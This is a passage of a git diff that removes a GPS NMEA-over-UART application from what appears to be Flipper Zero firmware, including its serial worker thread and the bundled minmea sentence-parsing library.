gps_uart->changing_baudrate = true; - view_port_update(view_port); - furi_mutex_release(gps_uart->mutex); - break; - case InputKeyRight: - if(gps_uart->speed_in_kms) { - gps_uart->speed_in_kms = false; - } else { - gps_uart->speed_in_kms = true; - } - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } - } - if(!gps_uart->changing_baudrate) { - view_port_update(view_port); - furi_mutex_release(gps_uart->mutex); - } else { - furi_delay_ms(1000); - gps_uart->changing_baudrate = false; - } - } - - notification_message_block(gps_uart->notifications, &sequence_display_backlight_enforce_auto); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(gps_uart->mutex); - gps_uart_disable(gps_uart); - - return 0; -} diff --git a/applications/external/gps_nmea_uart/gps_10px.png b/applications/external/gps_nmea_uart/gps_10px.png deleted file mode 100644 index 841787a2a..000000000 Binary files a/applications/external/gps_nmea_uart/gps_10px.png and /dev/null differ diff --git a/applications/external/gps_nmea_uart/gps_uart.c b/applications/external/gps_nmea_uart/gps_uart.c deleted file mode 100644 index d44cf22ef..000000000 --- a/applications/external/gps_nmea_uart/gps_uart.c +++ /dev/null @@ -1,217 +0,0 @@ -#include - -#include "minmea.h" -#include "gps_uart.h" - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -static void gps_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - GpsUart* gps_uart = (GpsUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(gps_uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(gps_uart->thread), WorkerEvtRxDone); - } -} - -static void gps_uart_serial_init(GpsUart* gps_uart) { - furi_hal_console_disable(); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, gps_uart_on_irq_cb, gps_uart); - furi_hal_uart_set_br(FuriHalUartIdUSART1, gps_uart->baudrate); -} - -static void gps_uart_serial_deinit(GpsUart* gps_uart) { - UNUSED(gps_uart); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, NULL, NULL); - furi_hal_console_enable(); -} - -static void gps_uart_parse_nmea(GpsUart* gps_uart, char* line) { - switch(minmea_sentence_id(line, false)) { - case MINMEA_SENTENCE_RMC: { - struct minmea_sentence_rmc frame; - if(minmea_parse_rmc(&frame, line)) { - gps_uart->status.valid = frame.valid; - gps_uart->status.latitude = minmea_tocoord(&frame.latitude); - gps_uart->status.longitude = minmea_tocoord(&frame.longitude); - gps_uart->status.speed = minmea_tofloat(&frame.speed); - gps_uart->status.course = minmea_tofloat(&frame.course); - gps_uart->status.time_hours = frame.time.hours; - gps_uart->status.time_minutes = frame.time.minutes; - gps_uart->status.time_seconds = frame.time.seconds; - - notification_message_block(gps_uart->notifications, &sequence_blink_green_10); - } - } break; - - case MINMEA_SENTENCE_GGA: { - struct minmea_sentence_gga frame; - if(minmea_parse_gga(&frame, line)) { - gps_uart->status.latitude = minmea_tocoord(&frame.latitude); - gps_uart->status.longitude = minmea_tocoord(&frame.longitude); - gps_uart->status.altitude = minmea_tofloat(&frame.altitude); - gps_uart->status.altitude_units = frame.altitude_units; - gps_uart->status.fix_quality = frame.fix_quality; - gps_uart->status.satellites_tracked = frame.satellites_tracked; - gps_uart->status.time_hours = frame.time.hours; - gps_uart->status.time_minutes = frame.time.minutes; - gps_uart->status.time_seconds = frame.time.seconds; - - notification_message_block(gps_uart->notifications, &sequence_blink_magenta_10); - } - } break; - - case MINMEA_SENTENCE_GLL: { - struct minmea_sentence_gll frame; - if(minmea_parse_gll(&frame, line)) { - gps_uart->status.latitude = minmea_tocoord(&frame.latitude); - gps_uart->status.longitude = minmea_tocoord(&frame.longitude); - gps_uart->status.time_hours = frame.time.hours; - gps_uart->status.time_minutes = frame.time.minutes; - gps_uart->status.time_seconds = frame.time.seconds; - - notification_message_block(gps_uart->notifications, &sequence_blink_red_10); - } - } break; - - default: - break; - } -} - -static int32_t gps_uart_worker(void* context) { - GpsUart* gps_uart = (GpsUart*)context; - - size_t rx_offset = 0; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEvtStop) { - break; - } - - if(events & WorkerEvtRxDone) { - size_t len = 0; - do { - // receive serial bytes into rx_buf, starting at rx_offset from the start of the buffer - // the maximum we can receive is RX_BUF_SIZE - 1 - rx_offset - len = furi_stream_buffer_receive( - gps_uart->rx_stream, - gps_uart->rx_buf + rx_offset, - RX_BUF_SIZE - 1 - rx_offset, - 0); - if(len > 0) { - // increase rx_offset by the number of bytes received, and null-terminate rx_buf - rx_offset += len; - gps_uart->rx_buf[rx_offset] = '\0'; - - // look for strings ending in newlines, starting at the start of rx_buf - char* line_current = (char*)gps_uart->rx_buf; - while(1) { - // skip null characters - while(*line_current == '\0' && - line_current < (char*)gps_uart->rx_buf + rx_offset - 1) { - line_current++; - } - - // find the next newline - char* newline = strchr(line_current, '\n'); - if(newline) // newline found - { - // put a null terminator in place of the newline, to delimit the line string - *newline = '\0'; - - // attempt to parse the line as a NMEA sentence - gps_uart_parse_nmea(gps_uart, line_current); - - // move the cursor to the character after the newline - line_current = newline + 1; - } else // no more newlines found - { - if(line_current > - (char*)gps_uart->rx_buf) // at least one line was found - { - // clear parsed lines, and move any leftover bytes to the start of rx_buf - rx_offset = 0; - while( - *line_current) // stop when the original rx_offset terminator is reached - { - gps_uart->rx_buf[rx_offset++] = *(line_current++); - } - } - break; // go back to receiving bytes from the serial stream - } - } - } - } while(len > 0); - } - } - - gps_uart_serial_deinit(gps_uart); - furi_stream_buffer_free(gps_uart->rx_stream); - - return 0; -} - -void gps_uart_init_thread(GpsUart* gps_uart) { - furi_assert(gps_uart); - gps_uart->status.valid = false; - gps_uart->status.latitude = 0.0; - gps_uart->status.longitude = 0.0; - gps_uart->status.speed = 0.0; - gps_uart->status.course = 0.0; - gps_uart->status.altitude = 0.0; - gps_uart->status.altitude_units = ' '; - gps_uart->status.fix_quality = 0; - gps_uart->status.satellites_tracked = 0; - gps_uart->status.time_hours = 0; - gps_uart->status.time_minutes = 0; - gps_uart->status.time_seconds = 0; - - gps_uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE * 5, 1); - - gps_uart->thread = furi_thread_alloc(); - furi_thread_set_name(gps_uart->thread, "GpsUartWorker"); - furi_thread_set_stack_size(gps_uart->thread, 1024); - furi_thread_set_context(gps_uart->thread, gps_uart); - furi_thread_set_callback(gps_uart->thread, gps_uart_worker); - - furi_thread_start(gps_uart->thread); - - gps_uart_serial_init(gps_uart); -} - -void gps_uart_deinit_thread(GpsUart* gps_uart) { - furi_assert(gps_uart); - furi_thread_flags_set(furi_thread_get_id(gps_uart->thread), WorkerEvtStop); - furi_thread_join(gps_uart->thread); - furi_thread_free(gps_uart->thread); -} - -GpsUart* gps_uart_enable() { - GpsUart* gps_uart = malloc(sizeof(GpsUart)); - - gps_uart->notifications = furi_record_open(RECORD_NOTIFICATION); - - gps_uart->baudrate = gps_baudrates[current_gps_baudrate]; - - gps_uart_init_thread(gps_uart); - - return gps_uart; -} - -void gps_uart_disable(GpsUart* gps_uart) { - furi_assert(gps_uart); - gps_uart_deinit_thread(gps_uart); - furi_record_close(RECORD_NOTIFICATION); - - free(gps_uart); -} diff --git a/applications/external/gps_nmea_uart/gps_uart.h b/applications/external/gps_nmea_uart/gps_uart.h deleted file mode 100644 index 152f4cd7f..000000000 --- a/applications/external/gps_nmea_uart/gps_uart.h +++ /dev/null @@ -1,46 +0,0 @@ -#pragma once - -#include -#include - -#define RX_BUF_SIZE 1024 - -static const int gps_baudrates[5] = {9600, 19200, 38400, 57600, 115200}; -static int current_gps_baudrate = 3; - -typedef struct { - bool valid; - float latitude; - float longitude; - float speed; - float course; - float altitude; - char altitude_units; - int fix_quality; - int satellites_tracked; - int time_hours; - int time_minutes; - int time_seconds; -} GpsStatus; - -typedef struct { - FuriMutex* mutex; - FuriThread* thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE]; - - NotificationApp* notifications; - uint32_t baudrate; - bool changing_baudrate; - bool backlight_on; - bool speed_in_kms; - - GpsStatus status; -} GpsUart; - -void gps_uart_init_thread(GpsUart* gps_uart); -void gps_uart_deinit_thread(GpsUart* gps_uart); - -GpsUart* gps_uart_enable(); - -void gps_uart_disable(GpsUart* gps_uart); diff --git a/applications/external/gps_nmea_uart/minmea.c b/applications/external/gps_nmea_uart/minmea.c deleted file mode 100644 index 1b7a84b1c..000000000 --- a/applications/external/gps_nmea_uart/minmea.c +++ /dev/null @@ -1,640 +0,0 @@ -/* - * Copyright © 2014 Kosma Moczek - * This program is free software. It comes without any warranty, to the extent - * permitted by applicable law. You can redistribute it and/or modify it under - * the terms of the Do What The Fuck You Want To Public License, Version 2, as - * published by Sam Hocevar. See the COPYING file for more details. - */ - -#include "minmea.h" - -#include -#include -#include - -#define boolstr(s) ((s) ? "true" : "false") - -static int hex2int(char c) { - if(c >= '0' && c <= '9') return c - '0'; - if(c >= 'A' && c <= 'F') return c - 'A' + 10; - if(c >= 'a' && c <= 'f') return c - 'a' + 10; - return -1; -} - -uint8_t minmea_checksum(const char* sentence) { - // Support senteces with or without the starting dollar sign. - if(*sentence == '$') sentence++; - - uint8_t checksum = 0x00; - - // The optional checksum is an XOR of all bytes between "$" and "*". - while(*sentence && *sentence != '*') checksum ^= *sentence++; - - return checksum; -} - -bool minmea_check(const char* sentence, bool strict) { - uint8_t checksum = 0x00; - - // A valid sentence starts with "$". - if(*sentence++ != '$') return false; - - // The optional checksum is an XOR of all bytes between "$" and "*". - while(*sentence && *sentence != '*' && isprint((unsigned char)*sentence)) - checksum ^= *sentence++; - - // If checksum is present... - if(*sentence == '*') { - // Extract checksum. - sentence++; - int upper = hex2int(*sentence++); - if(upper == -1) return false; - int lower = hex2int(*sentence++); - if(lower == -1) return false; - int expected = upper << 4 | lower; - - // Check for checksum mismatch. - if(checksum != expected) return false; - } else if(strict) { - // Discard non-checksummed frames in strict mode. - return false; - } - - // The only stuff allowed at this point is a newline. - while(*sentence == '\r' || *sentence == '\n') { - sentence++; - } - - if(*sentence) { - return false; - } - - return true; -} - -bool minmea_scan(const char* sentence, const char* format, ...) { - bool result = false; - bool optional = false; - - if(sentence == NULL) return false; - - va_list ap; - va_start(ap, format); - - const char* field = sentence; -#define next_field() \ - do { \ - /* Progress to the next field. */ \ - while(minmea_isfield(*sentence)) sentence++; \ - /* Make sure there is a field there. */ \ - if(*sentence == ',') { \ - sentence++; \ - field = sentence; \ - } else { \ - field = NULL; \ - } \ - } while(0) - - while(*format) { - char type = *format++; - - if(type == ';') { - // All further fields are optional. - optional = true; - continue; - } - - if(!field && !optional) { - // Field requested but we ran out if input. Bail out. - goto parse_error; - } - - switch(type) { - case 'c': { // Single character field (char). - char value = '\0'; - - if(field && minmea_isfield(*field)) value = *field; - - *va_arg(ap, char*) = value; - } break; - - case 'd': { // Single character direction field (int). - int value = 0; - - if(field && minmea_isfield(*field)) { - switch(*field) { - case 'N': - case 'E': - value = 1; - break; - case 'S': - case 'W': - value = -1; - break; - default: - goto parse_error; - } - } - - *va_arg(ap, int*) = value; - } break; - - case 'f': { // Fractional value with scale (struct minmea_float). - int sign = 0; - int_least32_t value = -1; - int_least32_t scale = 0; - - if(field) { - while(minmea_isfield(*field)) { - if(*field == '+' && !sign && value == -1) { - sign = 1; - } else if(*field == '-' && !sign && value == -1) { - sign = -1; - } else if(isdigit((unsigned char)*field)) { - int digit = *field - '0'; - if(value == -1) value = 0; - if(value > (INT_LEAST32_MAX - digit) / 10) { - /* we ran out of bits, what do we do? */ - if(scale) { - /* truncate extra precision */ - break; - } else { - /* integer overflow. bail out. */ - goto parse_error; - } - } - value = (10 * value) + digit; - if(scale) scale *= 10; - } else if(*field == '.' && scale == 0) { - scale = 1; - } else if(*field == ' ') { - /* Allow spaces at the start of the field. Not NMEA - * conformant, but some modules do this. */ - if(sign != 0 || value != -1 || scale != 0) goto parse_error; - } else { - goto parse_error; - } - field++; - } - } - - if((sign || scale) && value == -1) goto parse_error; - - if(value == -1) { - /* No digits were scanned. */ - value = 0; - scale = 0; - } else if(scale == 0) { - /* No decimal point. */ - scale = 1; - } - if(sign) value *= sign; - - *va_arg(ap, struct minmea_float*) = (struct minmea_float){value, scale}; - } break; - - case 'i': { // Integer value, default 0 (int). - int value = 0; - - if(field) { - char* endptr; - value = strtol(field, &endptr, 10); - if(minmea_isfield(*endptr)) goto parse_error; - } - - *va_arg(ap, int*) = value; - } break; - - case 's': { // String value (char *). - char* buf = va_arg(ap, char*); - - if(field) { - while(minmea_isfield(*field)) *buf++ = *field++; - } - - *buf = '\0'; - } break; - - case 't': { // NMEA talker+sentence identifier (char *). - // This field is always mandatory. - if(!field) goto parse_error; - - if(field[0] != '$') goto parse_error; - for(int f = 0; f < 5; f++) - if(!minmea_isfield(field[1 + f])) goto parse_error; - - char* buf = va_arg(ap, char*); - memcpy(buf, field + 1, 5); - buf[5] = '\0'; - } break; - - case 'D': { // Date (int, int, int), -1 if empty. - struct minmea_date* date = va_arg(ap, struct minmea_date*); - - int d = -1, m = -1, y = -1; - - if(field && minmea_isfield(*field)) { - // Always six digits. - for(int f = 0; f < 6; f++) - if(!isdigit((unsigned char)field[f])) goto parse_error; - - char dArr[] = {field[0], field[1], '\0'}; - char mArr[] = {field[2], field[3], '\0'}; - char yArr[] = {field[4], field[5], '\0'}; - d = strtol(dArr, NULL, 10); - m = strtol(mArr, NULL, 10); - y = strtol(yArr, NULL, 10); - } - - date->day = d; - date->month = m; - date->year = y; - } break; - - case 'T': { // Time (int, int, int, int), -1 if empty. - struct minmea_time* time_ = va_arg(ap, struct minmea_time*); - - int h = -1, i = -1, s = -1, u = -1; - - if(field && minmea_isfield(*field)) { - // Minimum required: integer time. - for(int f = 0; f < 6; f++) - if(!isdigit((unsigned char)field[f])) goto parse_error; - - char hArr[] = {field[0], field[1], '\0'}; - char iArr[] = {field[2], field[3], '\0'}; - char sArr[] = {field[4], field[5], '\0'}; - h = strtol(hArr, NULL, 10); - i = strtol(iArr, NULL, 10); - s = strtol(sArr, NULL, 10); - field += 6; - - // Extra: fractional time. Saved as microseconds. - if(*field++ == '.') { - uint32_t value = 0; - uint32_t scale = 1000000LU; - while(isdigit((unsigned char)*field) && scale > 1) { - value = (value * 10) + (*field++ - '0'); - scale /= 10; - } - u = value * scale; - } else { - u = 0; - } - } - - time_->hours = h; - time_->minutes = i; - time_->seconds = s; - time_->microseconds = u; - } break; - - case '_': { // Ignore the field. - } break; - - default: { // Unknown. - goto parse_error; - } - } - - next_field(); - } - - result = true; - -parse_error: - va_end(ap); - return result; -} - -bool minmea_talker_id(char talker[3], const char* sentence) { - char type[6]; - if(!minmea_scan(sentence, "t", type)) return false; - - talker[0] = type[0]; - talker[1] = type[1]; - talker[2] = '\0'; - - return true; -} - -enum minmea_sentence_id minmea_sentence_id(const char* sentence, bool strict) { - if(!minmea_check(sentence, strict)) return MINMEA_INVALID; - - char type[6]; - if(!minmea_scan(sentence, "t", type)) return MINMEA_INVALID; - - if(!strcmp(type + 2, "GBS")) return MINMEA_SENTENCE_GBS; - if(!strcmp(type + 2, "GGA")) return MINMEA_SENTENCE_GGA; - if(!strcmp(type + 2, "GLL")) return MINMEA_SENTENCE_GLL; - if(!strcmp(type + 2, "GSA")) return MINMEA_SENTENCE_GSA; - if(!strcmp(type + 2, "GST")) return MINMEA_SENTENCE_GST; - if(!strcmp(type + 2, "GSV")) return MINMEA_SENTENCE_GSV; - if(!strcmp(type + 2, "RMC")) return MINMEA_SENTENCE_RMC; - if(!strcmp(type + 2, "VTG")) return MINMEA_SENTENCE_VTG; - if(!strcmp(type + 2, "ZDA")) return MINMEA_SENTENCE_ZDA; - - return MINMEA_UNKNOWN; -} - -bool minmea_parse_gbs(struct minmea_sentence_gbs* frame, const char* sentence) { - // $GNGBS,170556.00,3.0,2.9,8.3,,,,*5C - char type[6]; - if(!minmea_scan( - sentence, - "tTfffifff", - type, - &frame->time, - &frame->err_latitude, - &frame->err_longitude, - &frame->err_altitude, - &frame->svid, - &frame->prob, - &frame->bias, - &frame->stddev)) - return false; - if(strcmp(type + 2, "GBS")) return false; - - return true; -} - -bool minmea_parse_rmc(struct minmea_sentence_rmc* frame, const char* sentence) { - // $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62 - char type[6]; - char validity; - int latitude_direction; - int longitude_direction; - int variation_direction; - if(!minmea_scan( - sentence, - "tTcfdfdffDfd", - type, - &frame->time, - &validity, - &frame->latitude, - &latitude_direction, - &frame->longitude, - &longitude_direction, - &frame->speed, - &frame->course, - &frame->date, - &frame->variation, - &variation_direction)) - return false; - if(strcmp(type + 2, "RMC")) return false; - - frame->valid = (validity == 'A'); - frame->latitude.value *= latitude_direction; - frame->longitude.value *= longitude_direction; - frame->variation.value *= variation_direction; - - return true; -} - -bool minmea_parse_gga(struct minmea_sentence_gga* frame, const char* sentence) { - // $GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,*47 - char type[6]; - int latitude_direction; - int longitude_direction; - - if(!minmea_scan( - sentence, - "tTfdfdiiffcfcf_", - type, - &frame->time, - &frame->latitude, - &latitude_direction, - &frame->longitude, - &longitude_direction, - &frame->fix_quality, - &frame->satellites_tracked, - &frame->hdop, - &frame->altitude, - &frame->altitude_units, - &frame->height, - &frame->height_units, - &frame->dgps_age)) - return false; - if(strcmp(type + 2, "GGA")) return false; - - frame->latitude.value *= latitude_direction; - frame->longitude.value *= longitude_direction; - - return true; -} - -bool minmea_parse_gsa(struct minmea_sentence_gsa* frame, const char* sentence) { - // $GPGSA,A,3,04,05,,09,12,,,24,,,,,2.5,1.3,2.1*39 - char type[6]; - - if(!minmea_scan( - sentence, - "tciiiiiiiiiiiiifff", - type, - &frame->mode, - &frame->fix_type, - &frame->sats[0], - &frame->sats[1], - &frame->sats[2], - &frame->sats[3], - &frame->sats[4], - &frame->sats[5], - &frame->sats[6], - &frame->sats[7], - &frame->sats[8], - &frame->sats[9], - &frame->sats[10], - &frame->sats[11], - &frame->pdop, - &frame->hdop, - &frame->vdop)) - return false; - if(strcmp(type + 2, "GSA")) return false; - - return true; -} - -bool minmea_parse_gll(struct minmea_sentence_gll* frame, const char* sentence) { - // $GPGLL,3723.2475,N,12158.3416,W,161229.487,A,A*41$; - char type[6]; - int latitude_direction; - int longitude_direction; - - if(!minmea_scan( - sentence, - "tfdfdTc;c", - type, - &frame->latitude, - &latitude_direction, - &frame->longitude, - &longitude_direction, - &frame->time, - &frame->status, - &frame->mode)) - return false; - if(strcmp(type + 2, "GLL")) return false; - - frame->latitude.value *= latitude_direction; - frame->longitude.value *= longitude_direction; - - return true; -} - -bool minmea_parse_gst(struct minmea_sentence_gst* frame, const char* sentence) { - // $GPGST,024603.00,3.2,6.6,4.7,47.3,5.8,5.6,22.0*58 - char type[6]; - - if(!minmea_scan( - sentence, - "tTfffffff", - type, - &frame->time, - &frame->rms_deviation, - &frame->semi_major_deviation, - &frame->semi_minor_deviation, - &frame->semi_major_orientation, - &frame->latitude_error_deviation, - &frame->longitude_error_deviation, - &frame->altitude_error_deviation)) - return false; - if(strcmp(type + 2, "GST")) return false; - - return true; -} - -bool minmea_parse_gsv(struct minmea_sentence_gsv* frame, const char* sentence) { - // $GPGSV,3,1,11,03,03,111,00,04,15,270,00,06,01,010,00,13,06,292,00*74 - // $GPGSV,3,3,11,22,42,067,42,24,14,311,43,27,05,244,00,,,,*4D - // $GPGSV,4,2,11,08,51,203,30,09,45,215,28*75 - // $GPGSV,4,4,13,39,31,170,27*40 - // $GPGSV,4,4,13*7B - char type[6]; - - if(!minmea_scan( - sentence, - "tiii;iiiiiiiiiiiiiiii", - type, - &frame->total_msgs, - &frame->msg_nr, - &frame->total_sats, - &frame->sats[0].nr, - &frame->sats[0].elevation, - &frame->sats[0].azimuth, - &frame->sats[0].snr, - &frame->sats[1].nr, - &frame->sats[1].elevation, - &frame->sats[1].azimuth, - &frame->sats[1].snr, - &frame->sats[2].nr, - &frame->sats[2].elevation, - &frame->sats[2].azimuth, - &frame->sats[2].snr, - &frame->sats[3].nr, - &frame->sats[3].elevation, - &frame->sats[3].azimuth, - &frame->sats[3].snr)) { - return false; - } - if(strcmp(type + 2, "GSV")) return false; - - return true; -} - -bool minmea_parse_vtg(struct minmea_sentence_vtg* frame, const char* sentence) { - // $GPVTG,054.7,T,034.4,M,005.5,N,010.2,K*48 - // $GPVTG,156.1,T,140.9,M,0.0,N,0.0,K*41 - // $GPVTG,096.5,T,083.5,M,0.0,N,0.0,K,D*22 - // $GPVTG,188.36,T,,M,0.820,N,1.519,K,A*3F - char type[6]; - char c_true, c_magnetic, c_knots, c_kph, c_faa_mode; - - if(!minmea_scan( - sentence, - "t;fcfcfcfcc", - type, - &frame->true_track_degrees, - &c_true, - &frame->magnetic_track_degrees, - &c_magnetic, - &frame->speed_knots, - &c_knots, - &frame->speed_kph, - &c_kph, - &c_faa_mode)) - return false; - if(strcmp(type + 2, "VTG")) return false; - // values are only valid with the accompanying characters - if(c_true != 'T') frame->true_track_degrees.scale = 0; - if(c_magnetic != 'M') frame->magnetic_track_degrees.scale = 0; - if(c_knots != 'N') frame->speed_knots.scale = 0; - if(c_kph != 'K') frame->speed_kph.scale = 0; - frame->faa_mode = (enum minmea_faa_mode)c_faa_mode; - - return true; -} - -bool minmea_parse_zda(struct minmea_sentence_zda* frame, const char* sentence) { - // $GPZDA,201530.00,04,07,2002,00,00*60 - char type[6]; - - if(!minmea_scan( - sentence, - "tTiiiii", - type, - &frame->time, - &frame->date.day, - &frame->date.month, - &frame->date.year, - &frame->hour_offset, - &frame->minute_offset)) - return false; - if(strcmp(type + 2, "ZDA")) return false; - - // check offsets - if(abs(frame->hour_offset) > 13 || frame->minute_offset > 59 || frame->minute_offset < 0) - return false; - - return true; -} - -int minmea_getdatetime( - struct tm* tm, - const struct minmea_date* date, - const struct minmea_time* time_) { - if(date->year == -1 || time_->hours == -1) return -1; - - memset(tm, 0, sizeof(*tm)); - if(date->year < 80) { - tm->tm_year = 2000 + date->year - 1900; // 2000-2079 - } else if(date->year >= 1900) { - tm->tm_year = date->year - 1900; // 4 digit year, use directly - } else { - tm->tm_year = date->year; // 1980-1999 - } - tm->tm_mon = date->month - 1; - tm->tm_mday = date->day; - tm->tm_hour = time_->hours; - tm->tm_min = time_->minutes; - tm->tm_sec = time_->seconds; - - return 0; -} - -int minmea_gettime( - struct timespec* ts, - const struct minmea_date* date, - const struct minmea_time* time_) { - struct tm tm; - if(minmea_getdatetime(&tm, date, time_)) return -1; - - time_t timestamp = mktime(&tm); /* See README.md if your system lacks timegm(). */ - if(timestamp != (time_t)-1) { - ts->tv_sec = timestamp; - ts->tv_nsec = time_->microseconds * 1000; - return 0; - } else { - return -1; - } -} - -/* vim: set ts=4 sw=4 et: */ diff --git a/applications/external/gps_nmea_uart/minmea.h b/applications/external/gps_nmea_uart/minmea.h deleted file mode 100644 index 88eec4ae9..000000000 --- a/applications/external/gps_nmea_uart/minmea.h +++ /dev/null @@ -1,295 +0,0 @@ -/* - * Copyright © 2014 Kosma Moczek - * This program is free software. It comes without any warranty, to the extent - * permitted by applicable law. You can redistribute it and/or modify it under - * the terms of the Do What The Fuck You Want To Public License, Version 2, as - * published by Sam Hocevar. See the COPYING file for more details. - */ - -#ifndef MINMEA_H -#define MINMEA_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include -#include -#include -#ifdef MINMEA_INCLUDE_COMPAT -#include -#endif - -#ifndef MINMEA_MAX_SENTENCE_LENGTH -#define MINMEA_MAX_SENTENCE_LENGTH 80 -#endif - -enum minmea_sentence_id { - MINMEA_INVALID = -1, - MINMEA_UNKNOWN = 0, - MINMEA_SENTENCE_GBS, - MINMEA_SENTENCE_GGA, - MINMEA_SENTENCE_GLL, - MINMEA_SENTENCE_GSA, - MINMEA_SENTENCE_GST, - MINMEA_SENTENCE_GSV, - MINMEA_SENTENCE_RMC, - MINMEA_SENTENCE_VTG, - MINMEA_SENTENCE_ZDA, -}; - -struct minmea_float { - int_least32_t value; - int_least32_t scale; -}; - -struct minmea_date { - int day; - int month; - int year; -}; - -struct minmea_time { - int hours; - int minutes; - int seconds; - int microseconds; -}; - -struct minmea_sentence_gbs { - struct minmea_time time; - struct minmea_float err_latitude; - struct minmea_float err_longitude; - struct minmea_float err_altitude; - int svid; - struct minmea_float prob; - struct minmea_float bias; - struct minmea_float stddev; -}; - -struct minmea_sentence_rmc { - struct minmea_time time; - bool valid; - struct minmea_float latitude; - struct minmea_float longitude; - struct minmea_float speed; - struct minmea_float course; - struct minmea_date date; - struct minmea_float variation; -}; - -struct minmea_sentence_gga { - struct minmea_time time; - struct minmea_float latitude; - struct minmea_float longitude; - int fix_quality; - int satellites_tracked; - struct minmea_float hdop; - struct minmea_float altitude; - char altitude_units; - struct minmea_float height; - char height_units; - struct minmea_float dgps_age; -}; - -enum minmea_gll_status { - MINMEA_GLL_STATUS_DATA_VALID = 'A', - MINMEA_GLL_STATUS_DATA_NOT_VALID = 'V', -}; - -// FAA mode added to some fields in NMEA 2.3. -enum minmea_faa_mode { - MINMEA_FAA_MODE_AUTONOMOUS = 'A', - MINMEA_FAA_MODE_DIFFERENTIAL = 'D', - MINMEA_FAA_MODE_ESTIMATED = 'E', - MINMEA_FAA_MODE_MANUAL = 'M', - MINMEA_FAA_MODE_SIMULATED = 'S', - MINMEA_FAA_MODE_NOT_VALID = 'N', - MINMEA_FAA_MODE_PRECISE = 'P', -}; - -struct minmea_sentence_gll { - struct minmea_float latitude; - struct minmea_float longitude; - struct minmea_time time; - char status; - char mode; -}; - -struct minmea_sentence_gst { - struct minmea_time time; - struct minmea_float rms_deviation; - struct minmea_float semi_major_deviation; - struct minmea_float semi_minor_deviation; - struct minmea_float semi_major_orientation; - struct minmea_float latitude_error_deviation; - struct minmea_float longitude_error_deviation; - struct minmea_float altitude_error_deviation; -}; - -enum minmea_gsa_mode { - MINMEA_GPGSA_MODE_AUTO = 'A', - MINMEA_GPGSA_MODE_FORCED = 'M', -}; - -enum minmea_gsa_fix_type { - MINMEA_GPGSA_FIX_NONE = 1, - MINMEA_GPGSA_FIX_2D = 2, - MINMEA_GPGSA_FIX_3D = 3, -}; - -struct minmea_sentence_gsa { - char mode; - int fix_type; - int sats[12]; - struct minmea_float pdop; - struct minmea_float hdop; - struct minmea_float vdop; -}; - -struct minmea_sat_info { - int nr; - int elevation; - int azimuth; - int snr; -}; - -struct minmea_sentence_gsv { - int total_msgs; - int msg_nr; - int total_sats; - struct minmea_sat_info sats[4]; -}; - -struct minmea_sentence_vtg { - struct minmea_float true_track_degrees; - struct minmea_float magnetic_track_degrees; - struct minmea_float speed_knots; - struct minmea_float speed_kph; - enum minmea_faa_mode faa_mode; -}; - -struct minmea_sentence_zda { - struct minmea_time time; - struct minmea_date date; - int hour_offset; - int minute_offset; -}; - -/** - * Calculate raw sentence checksum. Does not check sentence integrity. - */ -uint8_t minmea_checksum(const char* sentence); - -/** - * Check sentence validity and checksum. Returns true for valid sentences. - */ -bool minmea_check(const char* sentence, bool strict); - -/** - * Determine talker identifier. - */ -bool minmea_talker_id(char talker[3], const char* sentence); - -/** - * Determine sentence identifier. - */ -enum minmea_sentence_id minmea_sentence_id(const char* sentence, bool strict); - -/** - * Scanf-like processor for NMEA sentences. Supports the following formats: - * c - single character (char *) - * d - direction, returned as 1/-1, default 0 (int *) - * f - fractional, returned as value + scale (struct minmea_float *) - * i - decimal, default zero (int *) - * s - string (char *) - * t - talker identifier and type (char *) - * D - date (struct minmea_date *) - * T - time stamp (struct minmea_time *) - * _ - ignore this field - * ; - following fields are optional - * Returns true on success. See library source code for details. - */ -bool minmea_scan(const char* sentence, const char* format, ...); - -/* - * Parse a specific type of sentence. Return true on success. - */ -bool minmea_parse_gbs(struct minmea_sentence_gbs* frame, const char* sentence); -bool minmea_parse_rmc(struct minmea_sentence_rmc* frame, const char* sentence); -bool minmea_parse_gga(struct minmea_sentence_gga* frame, const char* sentence); -bool minmea_parse_gsa(struct minmea_sentence_gsa* frame, const char* sentence); -bool minmea_parse_gll(struct minmea_sentence_gll* frame, const char* sentence); -bool minmea_parse_gst(struct minmea_sentence_gst* frame, const char* sentence); -bool minmea_parse_gsv(struct minmea_sentence_gsv* frame, const char* sentence); -bool minmea_parse_vtg(struct minmea_sentence_vtg* frame, const char* sentence); -bool minmea_parse_zda(struct minmea_sentence_zda* frame, const char* sentence); - -/** - * Convert GPS UTC date/time representation to a UNIX calendar time. - */ -int minmea_getdatetime( - struct tm* tm, - const struct minmea_date* date, - const struct minmea_time* time_); - -/** - * Convert GPS UTC date/time representation to a UNIX timestamp. - */ -int minmea_gettime( - struct timespec* ts, - const struct minmea_date* date, - const struct minmea_time* time_); - -/** - * Rescale a fixed-point value to a different scale. Rounds towards zero. - */ -static inline int_least32_t minmea_rescale(const struct minmea_float* f, int_least32_t new_scale) { - if(f->scale == 0) return 0; - if(f->scale == new_scale) return f->value; - if(f->scale > new_scale) - return (f->value + ((f->value > 0) - (f->value < 0)) * f->scale / new_scale / 2) / - (f->scale / new_scale); - else - return f->value * (new_scale / f->scale); -} - -/** - * Convert a fixed-point value to a floating-point value. - * Returns NaN for "unknown" values. - */ -static inline float minmea_tofloat(const struct minmea_float* f) { - if(f->scale == 0) return NAN; - return (float)f->value / 